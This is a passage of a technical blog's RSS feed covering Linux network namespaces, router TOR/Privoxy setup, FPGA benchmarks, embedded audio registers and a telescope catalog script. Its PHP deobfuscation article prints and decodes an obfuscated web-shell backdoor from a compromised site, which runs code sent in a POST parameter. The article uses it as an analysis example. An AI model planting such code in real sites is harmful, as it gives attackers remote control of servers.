<pre>ip netns exec slow aptitude safe-upgrade</pre>
<p>we can also start a shell there, so everything we will do there will be routed to the slow gateway. We can also relogin as a non privileged user (ip nets commands need root privileges):</p>
<pre>ip netns exec slow bash
ip netns exec slow su - chri</pre>
<p>Linux namespaces are a very powerful tool. Their primary use are containers but they are useful in many other situations such as this.</p>
<p> </p>
<h3 id="comments">Comments</h3>
<ul>
<li><strong>gag on 2014-01-27 07:50:45 +0100</strong></li>
</ul>
<blockquote>
<p>Hi,<br>
nice tute . but there is a problem when i create a namespace and then logout and log in again in linux kernal.there is no namespace there and namespace automatically deleted. how i can solve this problem please help.thanks</p>
</blockquote>
<ul>
<li><strong>Christian Pellegrin on 2014-01-31 10:45:45 +0100</strong></li>
</ul>
<blockquote>
<p>Yes, the namespace configuration, like all other ones, must be reissued on every restart. Where it’s done depends on distribution. Under Debian Wheezy (the one I use) you have to configure /etc/network/interfaces. Another, easier but not so clean, solution is to run the commands from /etc/rc.local.</p>
</blockquote>
<ul>
<li><strong>gag on 2014-02-05 07:12:55 +0100</strong></li>
</ul>
<blockquote>
<p>thanks for reply. i got it. hi everything is ok before line<br>
ip netns exec slow aptitude safe-upgrade<br>
but when i run above command there is unknown host error . then i try to ping google.com in new network namespace again same error. then i try ping 8.8.8.8 its working. also in local namespace ping google.com is working but not in new network namespace . please can u tell me why this and how i can resolve this.?</p>
</blockquote>
<ul>
<li><strong>gag on 2014-02-05 07:24:56 +0100</strong></li>
</ul>
<blockquote>
<p>can u give me some code to write in /etc/network/interfaces or rc.local<br>
thanks</p>
</blockquote>
<ul>
<li><strong>Christian Pellegrin on 2014-02-06 07:54:00 +0100</strong></li>
</ul>
<blockquote>
<p>If you just created a newtork namespace (and not others) the /etc/resolv.conf and /etc/gai.conf file should be the same so the resolver library should work. Which distribution are you using? For /etc/rc.local it’s easy: just copy the command you use there.</p>
</blockquote>
<ul>
<li><strong>gag on 2014-02-06 09:29:18 +0100</strong></li>
</ul>
<blockquote>
<p>thank you . my dns resolving problem solved after setting same nameserver in /etc/gai.conf as in /etc/resolv.conf.</p>
<p>what its mean “created a network namespace (not others) here what the mean of “not other.”</p>
<p>i am using ubuntu 13 in virtualbox . i think when we create a namespace there is /var/run/netns/ file is created using command “ip netns add ”<br>
but on reboot the ubuntu /var/run/netns directory automatically deleted . now i want to know which command i copy in rc.local</p>
<p>thanks</p>
</blockquote>
<ul>
<li><strong>gag on 2014-02-06 11:32:06 +0100</strong></li>
</ul>
<blockquote>
<p>hi<br>
after these commands<br>
ip netns exec slow bash<br>
ip netns exec slow su – chri</p>
<p>we will enter in the slow network namespace .then how we can exit from this i mean how we can again enter in default namespace</p>
</blockquote>
<ul>
<li><strong>Christian Pellegrin on 2014-02-09 08:43:34 +0100</strong></li>
</ul>
<blockquote>
<p>I mean that you can have also file-system namespaces for example. Perfect, in newer Linux distros gai is used in place of older resolver. To exit a namespace just exit the shell.</p>
</blockquote>
<ul>
<li><strong>gag on 2014-02-10 07:40:49 +0100</strong></li>
</ul>
<blockquote>
<p>can i use mount namespace and pid namespace along with network namespace such that files in new mount namespace only accessible through network namespace . if yes how i create a mount and pid namespace and how to use in network namespace?<br>
thanks</p>
</blockquote>
<ul>
<li><strong>Christian Pellegrin on 2014-02-10 08:14:28 +0100</strong></li>
</ul>
<blockquote>
<p>Yes, you can do with the setns tool but I don’t know if it makes sense. Perhaps if you need PID and FS isolation too it’s better to go for a fully fledged solution like LXC</p>
</blockquote>
<ul>
<li><strong>Hubert on 2014-02-20 15:14:47 +0100</strong></li>
</ul>
<blockquote>
<p>Many thanks for the infos..</p>
<p>One question though: Is it also possible to force a process to use a specific name server using namespaces, or is that more difficult?</p>
</blockquote>
<ul>
<li><strong>Christian Pellegrin on 2014-02-21 22:31:57 +0100</strong></li>
</ul>
<blockquote>
<p>The resolver is configured by using <code>/etc/resolv.conf or</code> <code>/etc/gai.conf</code> so a file-system namespace can be used to present different /etc/ directories to a process.</p>
</blockquote>
<ul>
<li><strong>Christian Pellegrin on 2014-02-22 07:30:21 +0100</strong></li>
</ul>
<blockquote>
<p>Another clever trick to use a different DNS is to use NAT to rewrite the destination/source address only for DNS queries. Let’s say that in the global net namespace I use Google DNS <code>8.8.8.8</code> but in my specific net namespace I want to be a good Italian citizen and let Telecom Italia DNS <code>85.37.17.51</code> decide what is good and what is evil. Now I can just do:<br>
`<br />
OLD_IP=8.8.8.8<br />
NEW_IP=85.37.17.51</p></p>
<p>iptables -t nat -A OUTPUT -p tcp -d $OLD_IP -j DNAT --dport 53 --to-destination $NEW_IP<br />
iptables -t nat -A INPUT -p tcp -s $OLD_IP --sport 53 -j SNAT --to-source $NEW_IP<br />
iptables -t nat -A OUTPUT -p udp -d $OLD_IP -j DNAT --dport 53 --to-destination $NEW_IP<br />
iptables -t nat -A INPUT -p udp -s $OLD_IP --sport 53 -j SNAT --to-source $NEW_IP<br />
`  
Now you can check that uploaded.net resolves to 127.0.0.1 for example by using wireshark with a filter like `(tcp.port == 53 || udp.port==53) && ip.addr == 10.0.10.149` on the physical `eth0` interface, assumed that the IP for your net namespace is `10.0.10.149`.  
In this way you don&#8217;t have to mess with different configuration files.
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2014-02-22 07:52:09 +0100</strong></li>
</ul>
<blockquote>
<p>In quite old iptables version there was also the <em>–cmd-owner</em> flag to apply a rule to a process (per name) that could suit also the question. But this was removed at some point in 2.6 kernels. There is still <em>–pid-owner</em> that could fit with a little of scripting.</p>
<p>Otherwise there is still the possibility to filter on UID/GID (with <em>–uid-owner</em> and <em>-gid-owner</em>).</p>
<p>They are all related to the owner module (so use <em>-m owner</em>)</p>
<p>Ciao!</p>
</blockquote>]]></description>
                

                <guid  isPermaLink="false" >tag:www.evolware.org,2013-11-15:2013-11-15T20:23:15Z</guid>

                
                    <link>https://www.evolware.org/2013/11/15/using-linux-network-namespaces-for-per-processes-routing/</link>
                

                
                    <pubDate>Fri, 15 Nov 2013 20:23:15 UTC</pubDate>
                

                
                    <title>Using Linux Network Namespaces for per processes routing</title>
                
            </item>
        
            <item>
                
                
                
                
                
                
                
                

                

                

                

                

                
                

                

                
                    
                

                

                

                

                
                    <description><![CDATA[<p>I was asked to give at least a generic insight of &ldquo;how fast&rdquo; would Linux run in a Microblaze soft-CPU running on a Spartan-6 LX45 processor (specifically on the SP605 evaluation kit). Of course it has to be clear that the usage of such a processor/environment cannot focus on pure performance reasons, as you usually choose a FPGA for other reasons. For pure performance there are much better solutions (hardware based CPUs indeed) or if you need also the FPGA advantages processors with both a FPGA part and a hardware CPU, such as the Zynq family processors for example.</p>
<p>This being said I first just tried to find this informations with BigG but couldn&rsquo;t find some concrete numbers on the network, just mostly more or less argumented rants on how slow soft-CPUs run. So with a little bit of troubles (ISE is huge, ISE JTAG driver support for recent kernels is not working much out of the box and the whole FPGA-PetaLinux system is a little different from what I&rsquo;m used to work with) I managed to make the precompiled PetaLinux 2013.04 final work on the board and here are the results of nbench (compiled with the PetaLinux supplied microblaze crosscompiler) running on the SP605 should somebody have the same question to answer in the future:</p>
<pre tabindex="0"><code>`BYTEmark* Native Mode Benchmark ver. 2 (10/95) Index-split by Andrew D.
Balsa (11/97) Linux/Unix* port by Uwe F. Mayer (12/96,11/97)
TEST                : Iterations/sec.  : Old Index   : New Index
                     :                  : Pentium 90* : AMD K6/233*
--------------------:------------------:-------------:------------
NUMERIC SORT        :          3.6751  :       0.09  :       0.03
STRING SORT         :         0.60717  :       0.27  :       0.04
BITFIELD            :       3.908e+05  :       0.07  :       0.01
FP EMULATION        :         0.37078  :       0.18  :       0.04
FOURIER             :         0.89255  :       0.00  :       0.00
IDEA                :          9.9641  :       0.15  :       0.05
HUFFMAN             :          4.4452  :       0.12  :       0.04
LU DECOMPOSITION    :        0.033296  :       0.00  :       0.00
==========================ORIGINAL BYTEMARK RESULTS==========================
INTEGER INDEX       : 0.178
FLOATING-POINT INDEX: 0.012
Baseline (MSDOS*)   : Pentium* 90, 256 KB L2-cache, Watcom* compiler 10.0
==============================LINUX DATA BELOW===============================
CPU                 :
L2 Cache            :
OS                  : Linux 3.6.0
C compiler          : microblazeel-xilinx-linux-gnu-gcc
libc                : static
MEMORY INDEX        : 0.084
INTEGER INDEX       : 0.039
FLOATING-POINT INDEX: 0.009
Baseline (LINUX)    : AMD K6/233*, 512 KB L2-cache, gcc 2.7.2.3, libc-5.4.38
*Trademarks are property of their respective holder.
root@Xilinx-SP605-AXI-full-14_5:~#
</code></pre>]]></description>
                

                <guid  isPermaLink="false" >tag:www.evolware.org,2013-11-07:2013-11-07T06:25:46Z</guid>

                
                    <link>https://www.evolware.org/2013/11/07/linux-benchmark-on-xilinx-spartan-6-lx45-sp605-evk/</link>
                

                
                    <pubDate>Thu, 07 Nov 2013 06:25:46 UTC</pubDate>
                

                
                    <title>Linux benchmark on Xilinx Spartan-6 LX45 (SP605 evk)</title>
                
            </item>
        
            <item>
                
                
                
                
                
                
                
                

                

                

                

                

                
                

                

                
                    
                

                

                

                

                
                    <description><![CDATA[<p>In <a href="http://www.evolware.org/?p=114">a previous article</a> I talked about how to customize the Linux based WLAN+ADSL Netgear DGN2200v3 router and prepared various binary packages ready for the device. In this short article I&rsquo;m offering a small full setup that can be run on this router (and many other compatible ones and in general on any MIPS+uClinux hardware setup) to be able to use easily the <a href="https://www.torproject.org/">TOR network</a> to browser anonymously. In this way all the users behind the router can easily achieve anonymous surfing.</p>
<p>To achieve the minimal setup to use the TOR network two components are needed:</p>
<ul>
<li>The TOR software itself, which is &ldquo;the onion router&rdquo; that routes the packets through the TOR network and presents a SOCKS interface to local applications.</li>
<li>A HTTP proxy with SOCKS forwarding capabilities to make the operations easier for browsers users. The HTTP proxy used will be <a href="http://www.privoxy.org/">Privoxy</a></li>
</ul>
<p>The crosscompiled packages were version 0.2.3.25 for TOR and 3.0.21 for Privoxy. Crosscompiling the packages wasn&rsquo;t a very big deal (TOR has a few dependancies to be added such as OpenSSL and libz, Privoxy is even easier just take care of a little trouble with uClibc documented <a href="http://sourceforge.net/tracker/?func=detail&atid=111118&aid=2905995&group_id=11118">here</a>). You can follow some instruction on how to do this on <a href="http://www.evolware.org/?p=145">this</a> older post of mine. The produced binaries can be downloaded here: <a href="http://www.evolware.org/dnload/dgn2200n/tor-0.2.3.25+privoxy-3.0.21-dgn2200-bin.tar.gz">tor-0.2.3.25+privoxy-3.0.21-dgn2200-bin.tar.gz</a> (MD5SUM: df9547e5467954b921fa8d6b7da92780)</p>
<p>Once you transfer the binaries on your router you have to prepare at least some basic configuration. The binary package linked before contains a few sample files you can use.<br>
TOR wise there isn&rsquo;t too much to change if you&rsquo;re not acting as a relay.  Just make sure that the <em>DataDirectory</em> points to a writable portion of the filesystem (even better if it&rsquo;s a non volatile one so the startup time in the next sessions will be much improved). TOR will save here keys and such files. If you&rsquo;re acting as a relay you&rsquo;ll have to configure quite some more parameters and make sure you also open with iptables the appropriate ports on your router configuration (see the <a href="http://www.evolware.org/?p=114">article here</a> on how to open a port on the external side).<br>
Privoxy wise there are a few more things to configure:</p>
<ul>
<li>
<p>directory containing the configuration files (and therefore also error templates and icons and such, also included in the binary package) with the <em>confdir</em> directive</p>
</li>
<li>
<p>directory and file for privoxy logs (<em>logdir</em> and <em>logfile</em>)</p>
</li>
<li>
<p>the IP address and port to listen to (<em>listen-address</em>). This should be your internal network IP address and your port of choice</p>
</li>
<li>
<p>telling privoxy to forward connections using socks to TOR. This is done with the <em>formward-socks4a</em> directive specifying also the TOR IP (usually should be the loopback IP) and port (default 9050). The directive should look like:</p>
<pre>forward-socks4a / 127.0.0.1:9050 .</pre>
</li>
<li>
<p>should you decide to use the TOR+Privoxy with a transparent (well Privoxy defines it as <em>&ldquo;intercepted&rdquo;</em>) proxy, that is the users will be automatically proxified without having to set anything up in the browser, you should enable this in privoxy with the directive</p>
<pre>accept-intercepted-requests 1</pre>
</li>
<li>
<p>there are really a lot more options you should check and use in Privoxy to make your browsing experience even more private. Give it a good read of <a href="http://www.privoxy.org/user-manual/">the documentation</a> and once you use it access the <a href="http://config.privoxy.org/">local web interface</a>. In the binary package I also inserted the default user.filters and user.actions file which contain a template for very useful privacy filtering (such as refeerer stripping, popup disabling and a special mention of the <em>fun</em> filter). Make sure to analyze them and enable useful filters/actions on your installation. This can be also done via the Web interface if the <em>enable-edit-actions</em> is set to 1 as in the example file.</p>
</li>
</ul>
<p>Once you have the two configuration files and after creating all the directories needed (where TOR/Privoxy will keep their configurations files) you can launch them both from the command line (or later from your favorite rc shell). While Privoxy by default forks in background as a daemon you have to manuall do this for TOR (so send it in background with the ampersand and eventually use the nohup tool included in one of the packs in the Netgear modifications article).</p>
<p>Now you should be ready to use the TOR system. Just configure your browser network settings to point for HTTP/HTTPS connection to the just configured service. For example if your router IP is 10.0.1.42 and Privoxy is running on port 3636 you should proceed as in the following screenshot:<br>
<a href="http://www.evolware.org/wp-content/uploads/2013/04/proxy-settings.png"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-234" alt="proxy-settings" src="http://www.evolware.org/wp-content/uploads/2013/04/proxy-settings-261x300.png" width="261" height="300" srcset="https://www.evolware.org/wp-content/uploads/2013/04/proxy-settings-261x300.png 261w, https://www.evolware.org/wp-content/uploads/2013/04/proxy-settings.png 454w" sizes="(max-width: 261px) 100vw, 261px" /></a>If everything went fine you should be now browsing using the TOR network. You can check the TOR checking service at <a href="https://check.torproject.org/">https://check.torproject.org/</a> or use one of the various serices that notify/geolocalize the IP you&rsquo;re connecting from.</p>
<p>As a last thing if you would like to automatically (that is transparently) proxymize all the requests going through your router with the Privoxy+TOR system just described you can easily do so by adding for example a simple rule like:</p>
<pre>iptables -t nat -A PREROUTING -s 10.0.1.36/32 -p tcp --match multiport 
        --dport 80,443 -j DNAT --to 10.0.1.42:3636</pre>
<p>The example above assumes the router IP is 10.0.1.42 and Privoxy configured to run on port 3636 as before. All the traffic from the single IP 10.0.1.36 for both HTTP and HTTPS will be transparently  passed via Privoxy+TOR.<br>
You can of course activate the transparent proxying on your whole network by changing the source mask accordingly (for example 10.0.1.0/24).<br>
Remember that Privoxy requires the <em>accept-intercepted-requests</em> activated if you&rsquo;re using this iptables transparent proxy rule to work correctly.</p>
<p>If you don&rsquo;t like the transparent proxy operation but don&rsquo;t want to manually bother in your browser preferences and you&rsquo;re using Firefox I&rsquo;d suggest you the use of the <a href="https://addons.mozilla.org/it/firefox/addon/foxyproxy-standard/">FoxyProxy</a> Firefox Plugin to be able to manage different proxies depending on your target HTTP connection or to switch them easily with a click.</p>]]></description>
                

                <guid  isPermaLink="false" >tag:www.evolware.org,2013-04-04:2013-04-04T05:53:40Z</guid>

                
                    <link>https://www.evolware.org/2013/04/04/torprivoxy-minimal-setup-for-dgn2200v3mips-architecture/</link>
                

                
                    <pubDate>Thu, 04 Apr 2013 05:53:40 UTC</pubDate>
                

                
                    <title>TOR+Privoxy minimal setup for DGN2200v3/MIPS architecture</title>
                
            </item>
        
            <item>
                
                
                
                
                
                
                
                

                

                

                

                

                
                

                

                
                    
                

                

                

                

                
                    <description><![CDATA[<p>Recently a customer asked me to debug some problems on their Joomla!/PHP site that had interoperability issues after some long time for unknown reasons. The site was using some commercial plugins which producer was long time gone and unreachable and worst of all they were all obfuscated. So even searching for some basic string that was displayed on the screen on error to understand what&rsquo;s going on was not a straight forward exercise and going through the code was a mess.</p>
<p>Apart from changing the code in a logical way, for example by adding intermediate variables or splitting variable assignations into more operations and so on, the first most annoying part of PHP obfuscators is that they modify most of the characters in the strings values with their respective hexadecimal (format \xXX) or octal (\XXX) values and eliminate any line feeds or code structure. Once you get rid of this the code stays quite very messy but is, at least in the cases I analyzed, quite readable and just needs a little more bookkeeping with automatically named vars to go through.</p>
<p>Getting rid at least of this confusing representation is quite straightforward on the command line with a few tricks.</p>
<p>The proceeding will be shown step by step for sake of clarity, you can of course pipe multiple commands (or unite them using the -e option of sed) and get a single shot operation.</p>
<p>First step we will translate octal \XXX values in PHP notation to the \0XXX notation that is friendly for the echo shell command:</p>
<pre>sed s'/\\\([0-9]\)/\\0\1/g' file.php &gt; step1.php</pre>
<p>Now we can use echo to interpret the octal reppresentation from the previous step and the hexadecimal values in the \xXX notation already present since the format is same in both PHP and echo:</p>
<pre>set -f
echo -e `cat step1.php` &gt; step2.php
set +f</pre>
<p>Be aware that we are disabling (and at the end reenabling) the bash wildcard completion with the set command not to expand wildcards present in the file.</p>
<p>Now we put some newlines after the curly brackets (function definitions) so it becames a little more readable:</p>
<pre>sed s'/[\{\}]/&\n/g' step2.php &gt; step3.php</pre>
<p>Now we can put a newline after &ldquo;;&rdquo; character (end of a statement in php) to make it again more readable. But be aware that this may break some mixed HTML/JS code in the PHP file. A better version (but probably not immediate to do it as a command liner) would check that we are out of a quote scope and skip that occourences. You may use the next version to read it better and then eventually work on the previous step file to be sure the PHP didn&rsquo;t get broken.</p>
<pre>sed s'/;/&\n/g' step3.php &gt; final.php</pre>
<p>Now we have a quite more readable file than the one we started with. Sure thing we still have a source file which contains just numerical variables or partial assignations but compared to the starting point it&rsquo;s now a breeze (at least in the sources which I had to analyze which were about 150kb long files in origin) to go through them.</p>
<p>Another thing you&rsquo;ll sometimes find in obfuscated PHP files, especially in some PHP exploits and such, are parts of strings encoded with base64 and then decoded on the fly with <em>base64_decode</em> and for example passed to an <em>eval()</em> to be executed. In such case from command line you can use the <strong>base64</strong> tool with the <em>-d</em> command line switch for a on the fly decoding. As an example of a compromised site I noticed recently (the original code was without newlines and such but I added a few for the sake of clarity):</p>
<pre>$_ = "CmlmKGlzc2V0KCRfUE9TVFsiY29kZSJdKSkKewogICAgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29kZSJdKSk7Cn0="
$__ = "JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCRfKTsKZXZhbCgkY29kZSk7";
$___ ="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";
eval($___($__));</pre>
<p>would result after following the procedures in this article as:</p>
<pre>$_ = "CmlmKGlzc2V0KCRfUE9TVFsiY29kZSJdKSkKewogICAgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29kZSJdKSk7Cn0="
$__ = "JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCRfKTsKZXZhbCgkY29kZSk7";
$___ ="base64_decode";
eval($___($__));</pre>
<p>And finally the $_ expands as:</p>
<pre>if(isset($_POST["code"]))
{
    eval(base64_decode($_POST["code"]));
}</pre>
<p>and $__ as:</p>
<pre>$code = base64_decode($_);
eval($code);</pre>
<p>For the previous two results just use the command (put the string to decode in the quotes):</p>
<pre>echo "string" | base64 -d</pre>
<p>So the commands passed in the POST parameter <em>code</em> are hideously executed on the system.</p>]]></description>
                

                <guid  isPermaLink="false" >tag:www.evolware.org,2013-04-01:2013-04-01T16:05:09Z</guid>

                
                    <link>https://www.evolware.org/2013/04/01/command-line-php-deobfuscation/</link>
                

                
                    <pubDate>Mon, 01 Apr 2013 16:05:09 UTC</pubDate>
                

                
                    <title>Command line PHP deobfuscation</title>
                
            </item>
        
            <item>
                
                
                
                
                
                
                
                

                

                

                

                

                
                

                

                
                    
                

                

                

                

                
                    <description><![CDATA[<p>As usual when working with embedded systems every component saved seems like gold to the HW guys (no matter how much software hassles or future limitations this may cause!) and in this context lately I&rsquo;ve been working on the idea to use the Freescale <a href="http://www.freescale.com/webapp/sps/site/taxonomy.jsp?code=IMX23_FAMILY">iMX23 processor,</a> that was anyway present in the project for other needs, as an audio amplifier to pilot a small speaker with no special volume requirements.<br>
Basically the output of a GSM module (audio out) was connected to the MIC input of the iMX23 and then the output to the speaker, just with little strictly needed passive electronics in between. As by the datasheet the processor should be able to pull out till 1.9W at 4Ω and there were some interesting registers to play with, even if not documented so very clearly nor seemed to be used anyhow in the audio driver provided.<br>
The software base used was the LTIB based BSP provided by Freescale, including their kernel patches for a 2.6.31 kernel.</p>
<p>Software wise the first approach was quite crude but was actually working for the first test to understand where we were going to: piping <em>arecord</em> output to <em>aplay</em> input would actually do the trick. There was a quite noticeable delay but it did the trick. Playing with both arecord and aplay parameters (mainly the sampling rate, given also the input quality was anyway pretty low) made the situation better, but still far from optimal. At least this gave quite immediately an idea that the hardware was properly connected and, after playing with various settings of <em>amixer</em> and on the GSM module generating the signal, of the limits in the audio output.</p>
<p>The second approach was still on user-land: write a single C program that will do the operation using directly the ALSA <em>asound</em> library, simply reading on the capturing handle and writing to the playing handle. Better response now but quite some resources used and when the CPU was busy doing other stuff some glitches can occour.</p>
<p>The last and most interesting part now was trying to take it all out of the operating system handling, as some studies were suggesting by some little documented ADCTODAC_LOOP in the &ldquo;don&rsquo;t touch it unless you know what you are doing&rdquo; HW_AUDIOOUT_TEST register. After quite some trying and debugging (mostly not to leave the audio part in a state that makes it furtherly unusable with standard arecord/aplay tools) finally an adeguate procedure was found for enabling this mode (and disabling it) in an independant way, that is without any other tool to be running (of course you should set the mixer values beforehand, but that is not a tool running and emptying the audio pipes):</p>
<p> </p>
<pre>writel(BM_AUDIOOUT_TEST_ADCTODAC_LOOP, REGS_AUDIOOUT_BASE + HW_AUDIOOUT_TEST_SET);
writel(BM_AUDIOOUT_HPVOL_MUTE, REGS_AUDIOOUT_BASE + HW_AUDIOOUT_HPVOL_CLR);
writel(BM_AUDIOOUT_PWRDN_HEADPHONE, REGS_AUDIOOUT_BASE + HW_AUDIOOUT_PWRDN_CLR);
writel(BM_AUDIOOUT_PWRDN_ADC, REGS_AUDIOOUT_BASE + HW_AUDIOOUT_PWRDN_CLR);
writel(BM_AUDIOOUT_PWRDN_RIGHT_ADC, REGS_AUDIOOUT_BASE + HW_AUDIOOUT_PWRDN_CLR);
writel(BM_AUDIOOUT_PWRDN_DAC, REGS_AUDIOOUT_BASE + HW_AUDIOOUT_PWRDN_CLR);
writel(BM_AUDIOOUT_ANACTRL_HP_HOLD_GND, REGS_AUDIOOUT_BASE + HW_AUDIOOUT_ANACTRL_CLR);
writel(BM_AUDIOOUT_DACVOLUME_MUTE_LEFT | BM_AUDIOOUT_DACVOLUME_MUTE_RIGHT, 
          REGS_AUDIOOUT_BASE + HW_AUDIOOUT_DACVOLUME_CLR);
writel(BM_AUDIOOUT_ANACTRL_HP_CLASSAB,   REGS_AUDIOOUT_BASE + HW_AUDIOOUT_ANACTRL_SET);</pre>
<p>And to restore to normal mode:</p>
<pre>writel(BM_AUDIOOUT_TEST_ADCTODAC_LOOP, REGS_AUDIOOUT_BASE + HW_AUDIOOUT_TEST_CLR);
writel(BM_AUDIOIN_CTRL_FIFO_UNDERFLOW_IRQ, REGS_AUDIOIN_BASE + HW_AUDIOIN_CTRL_CLR);
writel(BM_AUDIOIN_CTRL_FIFO_OVERFLOW_IRQ, REGS_AUDIOIN_BASE + HW_AUDIOIN_CTRL_CLR);
writel(BM_AUDIOOUT_PWRDN_ADC, REGS_AUDIOOUT_BASE + HW_AUDIOOUT_PWRDN_SET);
writel(BM_AUDIOOUT_DACVOLUME_MUTE_LEFT | BM_AUDIOOUT_DACVOLUME_MUTE_RIGHT, 
          REGS_AUDIOOUT_BASE + HW_AUDIOOUT_DACVOLUME_SET);</pre>
<p>In my case this code was actually inserted into a stand-alone small driver that would export the activation of this feature through a <em>/dev</em> entry (by writing 0 or 1 to the device, and returning the current state if you read it) so it could be very easily manipulated by shell with a simple echo/cat (I&rsquo;m not publishing the entire driver since it contains too much code that is strictly related to the specific HW). Of course an even more elegant solution could be to integrate this feature as part of the audio driver itself.</p>
<p>The solution seemed to work fine and this way the system performed very well and the audio loop was immediate and not posing performance risks. Interesting enough with the proposed set of register settings the capturing device (or arecord if you wish) can still be working with no problems so some audio analysis can be done on the amplified stream (for example an analysis to prevent the Larsen effect was done in the prototype since also a MIC was later used for other purposes and of course the feedback is always waiting around the corner).<br>
Of course be aware that you are playing with test registers and test features so your mileage may vary!</p>
<p> </p>]]></description>
                

                <guid  isPermaLink="false" >tag:www.evolware.org,2013-02-01:2013-02-01T07:47:36Z</guid>

                
                    <link>https://www.evolware.org/2013/02/01/linux-imx23-audio-loop-or-using-the-imx23-as-an-amplifier/</link>
                

                
                    <pubDate>Fri, 01 Feb 2013 07:47:36 UTC</pubDate>
                

                
                    <title>Linux iMX23 audio loop (or using the iMX23 as an amplifier)</title>
                
            </item>
        
            <item>
                
                
                
                
                
                
                
                

                

                

                

                

                
                

                

                
                    
                

                

                

                

                
                    <description><![CDATA[<p> </p>
<p>pyargocat is a small simple Python script that can be used to program the catalogs of the  <a href="http://www.wildcard-innovations.com.au/">Argo Navis Digital Telescope Computer</a> from a machine with a recent Python interpreter installed using the RS232 cable that you can either buy or easily construct yourself. pyargocat can manage, that is insert to the device, all three types of catalogs in the device (asteroids, comets and user defined objects), report the number of objects present, report available space and delete previously flashed catalogs. It can be used on any machine with a Python &gt;= 2.7 installed and it has been tested on Linux and Windows machines.</p>
<p>The imported catalogs have to be in the standard format Argo Navis uses (please refeer to the Argo Navis manual for the details and for links to useful resources). As an example and as a possible useful addition for your advanced observing sessions you can download this sample file I created that I often use as a basis: <a href="http://www.evolware.org/dnload/fede-general.txt">fede-general.txt</a>. (the file contains all the Abell planetaries, the complete ARP catalog of Peculiar galaxies, the Hickinson galaxy groups catalog, most of the PK Planetary Nebula catalog and a selection of particullar globular clusters such as the Palomars and Terzans). Also a comet database file is given as an example with the most interesting comet objects data at the time of writing: <a href="http://www.evolware.org/dnload/Comets.txt">Comets.txt</a></p>
<p>Download: <a href="http://www.evolware.org/dnload/pyargocat-0.1.tar.gz">pyargocat-0.1.tar.gz</a>.</p>
<p>Launching the script with a -h will give you the command line usage:</p>
<pre>usage: pyargocat.py [-h] [-b {9600,19200,38400,57600}] [-d DEV]
                    [-c {user,comet,asteroid}] [-f FILE] [-p] [-v]

Command-line Argo Navis catalog manager (version 0.1).

optional arguments:
  -h, --help            show this help message and exit
  -b {9600,19200,38400,57600}, --baud {9600,19200,38400,57600}
                        Serial Baud Rate
  -d DEV, --dev DEV     Serial Device
  -c {user,comet,asteroid}, --catalog {user,comet,asteroid}
                        Catalog to Work
  -f FILE, --file FILE  File to Import to Catalog
  -p, --purge           Purge Catalog (prior to import)
  -v, --version         show program's version number and exit</pre>
<p>A few sample usage cases:</p>
<pre>pyargocat.py -b 57600 -d /dev/ttyUSB0 -c user</pre>
<p>Will connect to the device at 57600 baud using /dev/ttyUSB0 serial device and just display informations about the memory usage and number of objects in the user catalog</p>
<pre>pyargocat.py -b 57600 -d COM7 -p -c comet -f Comets.txt</pre>
<p>Will connect to the device at 57600 baud using COM7 serial device (this is the Windows serial device syntax), purge the data in the comet database and load the data from the mycomets.txt file into the comet database.</p>
<pre>pyargocat.py -p -c user -f fede-general.txt</pre>
<p>Will connect to the device at 38400 using /dev/ttyUSB0 serial device (this are the default settings when no indications are given on command line), purge the data in the userdatabase and load the data from the fede-general.txt file into the user database.</p>
<p>It is very important that prior launching the script you put the Argo Navis in the apporpriate catalog loading mode. To do this enter the <strong>MODE SETUP</strong> and then <strong>SETUP LOAD CAT</strong> and press <strong>ENTER</strong>. The device should display <strong>LOAD CATALOG</strong> on the first line and <strong>READY</strong> on the second. Please do also check in the <strong>MODE SETUP</strong>  then <strong>SETUP SERIAL</strong> and then <strong>SERIAL1</strong> or <strong>SERIAL2</strong> (depending on the serial you wish to use) the <strong>BAUDRATE</strong> at which the serial if configured (38400 by default but can be speeded up to 57600).</p>
<p>Be aware that the device has some well documented hardcoded limits (10 entries in the comet database and 50 entries in the asteroid catalog). Trying to insert a bigger amount will trigger and display and error.</p>
<h3 id="comments">Comments</h3>
<ul>
<li>
<p><strong>mm on 2013-01-22 18:13:41 +0100</strong><br>
cool!!! thx for sharing !!!</p>
</li>
<li>
<p><strong>Federico Pellegrin on 2013-02-07 09:39:21 +0100</strong><br>
Tim from Argo Navis Yahoo mailing list tested succesfully the Python script also under MacOs X with a USB serial connector. Thanks Tim for the feedback!</p>
</li>
<li>
<p><strong>Davor on 2015-06-15 05:52:43 +0100</strong><br>
Pyargocat is the best catalog manager for me.</p>
</li>
</ul>]]></description>
                

                <guid  isPermaLink="false" >tag:www.evolware.org,2013-01-22:2013-01-22T10:45:47Z</guid>

                
                    <link>https://www.evolware.org/2013/01/22/pyargocat-argo-navis-catalog-manager-in-python/</link>
                

                
                    <pubDate>Tue, 22 Jan 2013 10:45:47 UTC</pubDate>
                

                
                    <title>pyargocat: Argo Navis Catalog manager in Python</title>
                
            </item>
        
            <item>
                
                
                
                
                
                
                
                

                

                

                

                

                
                

                

                
                    
                

                

                

                

                
                    <description><![CDATA[<p>Recently I&rsquo;ve been asked by a few people how to crosscompile programs/packages under Linux. This happened especially after the article on customizing the DGN2200v3 (<a href="http://www.evolware.org/?p=114" target="_blank">you can find here</a>) but also for work reasons. In this article I&rsquo;ll try to give some insights on this operation that is often feared, but is generally not a very hard task (yes I said generally: try for example crosscompiling something like the openjdk and you&rsquo;ll understand what I mean!). This article will try to be generic but with some more examples on the DGN2200v3 crosscompilation and some ARM references.</p>
<p> </p>
<p><strong>Get and install the right tools</strong></p>
<p>The first thing to do if of course to install on the system you are working (which is called <em>host</em> system) the tools that run on the <em>host</em> and will permit you to compile something for the <em>target</em> system you want to compile the programs for.<br>
This set of programming tools is usually refeered as a <em>toolchain</em> and contains various things: usually one or a few compilers, one or a few linkers, an assembler, various header files, little or a lot of libraries and other simillar tools. If you are lucky you may get also a debugger packed. All this tools of course are compiled to run on your <em>host</em> machine but produce binaries that run on the <em>target</em>. Depending on how the toolchain was created you may also find supplied with it some set of tools that are ready to be run on the target to help your crosscompilation adventure.<br>
